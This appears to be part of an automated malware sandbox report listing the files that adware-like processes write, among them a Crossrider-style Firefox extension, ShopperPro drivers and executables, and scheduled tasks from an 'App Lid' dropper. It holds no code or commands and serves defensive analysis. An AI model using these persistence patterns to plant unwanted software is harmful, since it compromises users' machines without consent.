%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libgrey_yuv_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcroppadd_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_yuy2_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librss_plugin.dll (86 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpanoramix_plugin.dll (98 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librotate_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgaussianblur_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libchain_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmarq_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmirror_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libyuv_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsepia_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblend_plugin.dll (225 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libbluescreen_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblendbench_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect2d_plugin.dll (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwall_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liblogo_plugin.dll (81 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libvisual_plugin.dll (98 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdrawable_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libinvert_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpuzzle_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libclone_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect3d_plugin.dll (118 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotiondetect_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libswscale_plugin.dll (405 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libaudiobargraph_v_plugin.dll (90 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscene_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libprojectm_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libalphamask_plugin.dll (73 bytes)

The process 01783b5d-40d7-41d4-9ba0-a7e585dc1505-4.exe:3784 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\fcd1e3efcc56376494881a5840f44668.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\75993412f37946fca43501df135b9101.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\ed25e4865e773eba7e25f1996c5a4bce.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\27b108c0cebbe4aab1ad8c391e83b331.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\e055ba096a4270f84e5bdb65a438e474.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\9136010c804a2840f7d7c27e5d1afcd7.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c74ac2e4f6f4f31cc4cb7288d9c2f772.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\252.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\9431c4a640636e5a4800c356296cd644.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\5f3def1ffe21b50407f4186bf271625a.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\d6ec1dab117f4ac2f2f5d541daed79e2.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\2e0fa692e5e7d961bb9d81cfa1ac2966.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\255.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\6c7811f10cfb98b9f1763b5345d85e98.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\670dbbe403c6360b6052e5f363ed450b.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\98334486106663b4a30c7033eca32d66.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\438b972f6294cdfbae9eca34e441ad3e.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (634 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\345.js (663 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\d274b38a69a3c51f8a7bff7fc4721094.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\2141b52706ef745b2a22e75e33895245.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (358 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\33b7793cc2e4404931497edf64c26ed3.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\9941ee745cddfe1005b7e7089b614a4b.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\01582ac40322b6d7683825c62a0263ad.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\375.js (685 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\339.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\234.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dda43c892e467b84c5c5a65c0f78f43a.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\281.js (461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\83f6d845993575c3d94fcc78e4f7ef92.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a23949c9b6c9e24ee54e99e4f08ebb4f.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (909 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b445e40fee926becbc6a7fa6a5bf3e58.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c12defd337be815c0c356e8185da5647.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\379.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\29f86db80793dfda37ea151f81b1eb0a.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\6889d563da5c48a8ce768e0edc93745a.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\12870b8beedc10c7c2e7042a752c1a96.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\d3a5f2653762702a2d5ebd74ef211e17.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\1cd092e31d00a3d88980638b1aacad86.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\1cfe04157632e78d46fbd4494cd08061.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\5febde0bacdab7a8f3ec6ce44e0b706b.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\7500741a9065ecf69dfd112421772ba4.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\385.js (805 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\d558fdbf24bb49e9fd8ea5834f2d8296.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\be027ac44fbc92bdd651ab8bc10b05b3.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\bedd2ff3c8cd163718841dffba2e2bef.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (24 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b2d1b826ecaf80956e7bcf1153760d27.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\62284fa1d9293d5cff57e6447dac23c8.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\390.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\221.js (419 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\2c336850160e00c5eb623004e5ec3aca.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (640 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\4a3c378be3c0a1c88251e33fb294c23b.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\acbac258ab8930f55df2737a7623316e.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\d4ed991ff40a229a0622e0606a37327b.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (15 bytes)

The process powershell.exe:2936 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\A2Y29KQJ7CK0A2OGCKMS.temp (196 bytes)

The process powershell.exe:3744 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\N9FNVZ5C9YMNSN0U0QOH.temp (196 bytes)

The process powershell.exe:3888 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UBUPRVJSH874R7E8AY2O.temp (196 bytes)

The process setup.exe:3624 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFD15.tmp\System.dll (23 bytes)
%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFD15.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnFD04.tmp (360165 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFD15.tmp\AccDownload.dll (11659 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (37025 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFD15.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (15168 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFD15.tmp\jsdrv.exe (100669 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (48241 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (11 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (18424 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFD15.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.ej (14 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)

The process HPNotify.exe:2544 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\conf (1480 bytes)

The process Bxaze.exe:3380 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\zwqnxb.dll (23 bytes)
%Program Files% (x86)\App Lid\utils.exe (76402 bytes)
C:\Windows\Tasks\01783b5d-40d7-41d4-9ba0-a7e585dc1505-5_user.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\uxdfkxs.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\420436 (4095 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\raqkdgbq.dll (3410 bytes)
%Program Files% (x86)\App Lid\01783b5d-40d7-41d4-9ba0-a7e585dc1505.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\8314 (91765 bytes)
%Program Files% (x86)\App Lid\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn91B4.tmp (662695 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\loubc.dll (14 bytes)
%Program Files% (x86)\App Lid\01783b5d-40d7-41d4-9ba0-a7e585dc1505-5.exe (7385 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\rypiyr.dll (30 bytes)
C:\Windows\Tasks\01783b5d-40d7-41d4-9ba0-a7e585dc1505-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\mipntrzne.dll (30112 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\01783b5d-40d7-41d4-9ba0-a7e585dc1505-4.dll (46916 bytes)
